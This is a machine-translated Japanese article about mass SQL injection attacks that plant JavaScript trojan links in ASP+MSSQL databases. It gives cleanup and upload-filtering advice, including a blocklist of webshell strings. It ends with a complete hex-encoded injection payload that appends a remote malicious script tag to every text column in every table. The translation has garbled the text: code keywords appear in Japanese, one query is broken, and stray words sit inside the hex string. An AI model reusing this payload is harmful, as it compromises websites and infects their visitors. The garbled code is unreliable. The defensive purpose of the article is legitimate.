最近、ASP+MSSQL で設計された多くの Web サイトは、SQL データベースがハッカーによって JS トロイの木馬に挿入された経験があるかもしれません。いいえ、友人の Web サイトがハッカーに騙されました。
mssql の各 varchar と text フィールドは、js コードに自動的に挿入されます。このコードを削除しても、ソースから解決されていなければ、数分後に js コードが自動的にデータベースに挿入されます。
Piao Yi の観察によれば、この攻撃はプログラムによって自動的に実行される可能性が高く、ハッカーはまず Google や Baidu などの検索エンジンから asp+mssql で設計された脆弱な Web サイトを検索し、次に Xiao Mingzi などのインジェクション スキャン ツールを使用して全体をスキャンします。 SQL インジェクションの脆弱性が発見またはアップロードされると、Web サイトにアクセスします。脆弱性がある場合、ハッカーはさまざまな手段を使用して、Haiyang トロイの木馬などの独自のトロイの木馬をアップロードし、この Web サイトをブロイラー リストに追加し、データベースに追加したい JS コードを随時追加します。コードには多くの場合、多数のウイルスやトロイの木馬が含まれており、最終的には管理された Web サイトにアクセスするユーザーのコンピュータに害を及ぼします。
SQL クエリ アナライザーを使用してバッチ置換を実行して、挿入された JS コードの問題を一時的に解決することはできますが、プログラムやサーバーのセキュリティ権限を含む Web サイト全体の脆弱性を根本的に解決しない場合、ハッカーがいつでも Web サイトに侵入する可能性があります。ウェブサイトのデータベース。
SQL クエリ アナライザーでは、次のコードを実行して js コードをバッチで置き換えることができます。
次のようにコードをコピーします。
"更新テーブル名セット フィールド名=replace(フィールド名,'<Script Src=http://cn%75clear3.com/css/c.js></Script>','')"
flymorn は Web サイトを注意深くチェックし、いくつかのセキュリティ上の問題を発見しました。
まず、Web サイトにはアップロードの脆弱性があり、ファイルをアップロードするには管理者認証とアップロードされたファイルのファイル形式認証が必要ですが、管理者認証には Cookie が使用されており、Cookie は偽造される可能性があり、ファイルの内容を判断しないとアップロードされます。写真を撮った後、トロイの木馬がアップロードされる可能性があります。
解決策: 1 アップロード ファイル機能を削除します (現実的ではありません)。 2 アップロード ユーザー認証をセッション認証に変更します。 3 アップロードされたファイルの内容を確認し、画像のトロイの木馬である場合は削除します。 :
次のようにコードをコピーします。
''================ アップロードされたファイルに不正な文字列が含まれているかどうかを確認します start================
set MyFile = server.CreateObject("Scripting.FileSystemObject")
set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) 'テキスト ファイルを読み取ります
sTextAll = lcase(MyText.ReadAll)
MyText.close
MyFile = 何も設定しない
sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject| language=
sNoString = split(sStr,"|")
for i=0 から ubound(sNoString)
if instr(sTextAll,sNoString(i)) then
set filedel =server.CreateObject("Scripting.FileSystemObject")
filedel.deletefile Server.mappath(filePath)
filedel = 何も設定しない
Response.Write("<script>alert('アップロードしたファイルに問題があるため、アップロードに失敗しました!');history.back();</script>")
応答.終了
終了する場合
次
''================== アップロードされたファイルに不正な文字列が含まれているかどうかを確認します end====================
次に、Web サイトには Cookie インジェクションの脆弱性があります。プログラムの設計により、サーバーのオーバーヘッドを軽減するために、すべてのユーザーはログイン後の認証に Cookie を使用します。この Cookie にはユーザーの ID と名前が保存されます。ご存知のとおり、これはハッカーによって偽造されることがよくあります。さらに、一部の外部パラメータでは、コンテンツの取得に厳密な request.form および request.querystring を使用せず、 request("id") が使用されます。
ASP のリクエストは、最初にフォームとクエリ文字列からコンテンツを取得することがわかっています。これらの 2 つが空の場合、プログラミングでは request.form と request.querystring の SQL インジェクションを検討することがよくあります。通常、request.querystring は SQL インジェクションのためにフィルタリングされますが、Cookie モードではインジェクションをフィルタリングすることを忘れます。次の SQL ステートメントを見てみましょう。
次のようにコードをコピーします。
SQL="select * from table name whereid")
この ID がたまたま Cookie を通じて値を取得しているとしたら、それはなんと恐ろしいことなのか考えてみてください。この ID を持つ Cookie はサーバーによって割り当てられるため、インジェクターは ID という名前の偽の Cookie を簡単に偽造できます。この Cookie は、次のようなコードに偽造できます。
次のようにコードをコピーします。
宣言 @s vArChAr(4000);set @s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 IT 人材ネットワーク () 12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0a as vArChAr(4000));exec(@s);--